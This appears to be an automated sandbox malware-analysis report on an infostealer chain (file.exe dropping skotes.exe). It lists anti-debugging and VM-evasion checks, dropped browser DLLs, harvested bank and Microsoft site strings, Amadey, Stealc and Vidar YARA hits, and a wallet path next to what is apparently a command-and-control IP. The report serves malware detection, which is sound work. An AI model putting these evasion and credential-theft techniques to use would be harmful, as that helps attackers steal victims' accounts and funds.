Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 5172B3 second address: 5172C1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 518286 second address: 51828A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51A166 second address: 51A175 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51B140 second address: 51B148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50EAC6 second address: 50EAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0F91376D67h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 511C41 second address: 511C45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 512CB5 second address: 512CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 510AF6 second address: 510BBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0F90B9EDF7h 0x0000000c jmp 00007F0F90B9EDF3h 0x00000011 popad 0x00000012 popad 0x00000013 nop 0x00000014 add dword ptr [ebp+12478D21h], eax 0x0000001a push dword ptr fs:[00000000h] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F0F90B9EDE8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 0000001Bh 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b pushad 0x0000003c and edx, 2C3AE04Fh 0x00000042 mov edi, 1B84EE33h 0x00000047 popad 0x00000048 jmp 00007F0F90B9EDF1h 0x0000004d mov dword ptr fs:[00000000h], esp 0x00000054 jmp 00007F0F90B9EDF3h 0x00000059 mov eax, dword ptr [ebp+122D01C5h] 0x0000005f or dword ptr [ebp+122D1C13h], edi 0x00000065 push FFFFFFFFh 0x00000067 mov di, FA72h 0x0000006b nop 0x0000006c pushad 0x0000006d push ebx 0x0000006e pushad 0x0000006f popad 0x00000070 pop ebx 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F0F90B9EDF0h 0x00000078 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51616E second address: 51617F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50DB74 second address: 50DB82 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51828A second address: 518290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 51A175 second address: 51A17B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 50EAE1 second address: 50EAEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	RDTSC instruction interceptor: First address: 511C45 second address: 511C76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a jmp 00007F0F90B9EDF0h 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C3F860 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DEB16B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DF1CFB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E7D6E9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Special instruction interceptor: First address: 34EA5C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Special instruction interceptor: First address: 34EB17 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Special instruction interceptor: First address: 4F7BEA instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Special instruction interceptor: First address: 4F67B4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Special instruction interceptor: First address: 5805DE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 106EA5C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 106EB17 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1217BEA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 12167B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 12A05DE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFBGIDHCAAK.exe

Code function: 23_2_04C107D3 rdtsc

23_2_04C107D3

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 6508	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5448	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5448	Thread sleep time: -68034s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2544	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6728	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5536	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3896	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3896	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2448	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6212	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6212	Thread sleep time: -62031s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8296	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8296	Thread sleep time: -1710000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8296	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFBGIDHCAAK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA9EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6CA9EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: skotes.exe, skotes.exe, 0000001C.00000002.3412172565.00000000011F4000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.10.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Web Data.10.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Web Data.10.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: Web Data.10.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711220384.0000000000564000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3410402524.000000000077A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.3410402524.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.10.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Web Data.10.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000002.2748824901.0000000023251000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1RECOVE~1470bankoRecoveryImprovedVMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Web Data.10.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2PN4
Source: file.exe, 00000000.00000002.2748824901.0000000023251000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696487552x
Source: Web Data.10.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Web Data.10.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Web Data.10.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file.exe, 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Web Data.10.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Web Data.10.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Web Data.10.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: skotes.exe, 0000001C.00000002.3410402524.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: file.exe, 00000000.00000002.2712494902.0000000000DCB000.00000040.00000001.01000000.00000003.sdmp, DocumentsFBGIDHCAAK.exe, 00000017.00000002.2796473832.00000000004D4000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.2802388439.00000000011F4000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2817610751.00000000011F4000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.3412172565.00000000011F4000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.10.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.10.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFBGIDHCAAK.exe

Code function: 23_2_04C107D3 rdtsc

23_2_04C107D3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CB6AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0103652B mov eax, dword ptr fs:[00000030h]		28_2_0103652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_0103A302 mov eax, dword ptr fs:[00000030h]		28_2_0103A302

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CB6AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Section loaded: NULL target: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe protection: readonly

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFBGIDHCAAK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFBGIDHCAAK.exe "C:\Users\user\DocumentsFBGIDHCAAK.exe"
Source: C:\Users\user\DocumentsFBGIDHCAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBB4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CBB4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA91C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CA91C30

Source: file.exe, file.exe, 00000000.00000002.2712494902.0000000000DCB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: *Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6AE71 cpuid

0_2_6CB6AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009318001\3de946c107.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB6A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CB6A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 28_2_010065E0 LookupAccountNameA,

28_2_010065E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAB8390 NSS_GetVersion,

0_2_6CAB8390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 28.2.skotes.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.DocumentsFBGIDHCAAK.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.3411778938.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2796315271.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2760898826.0000000004B80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2707754831.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000003.2776498856.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3290398513.00000000048E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2802270362.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2817458882.0000000001001000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2165070081.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2712124553.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2711220384.0000000000538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5720, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2711220384.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Electrum-LTC\wallets\\..*
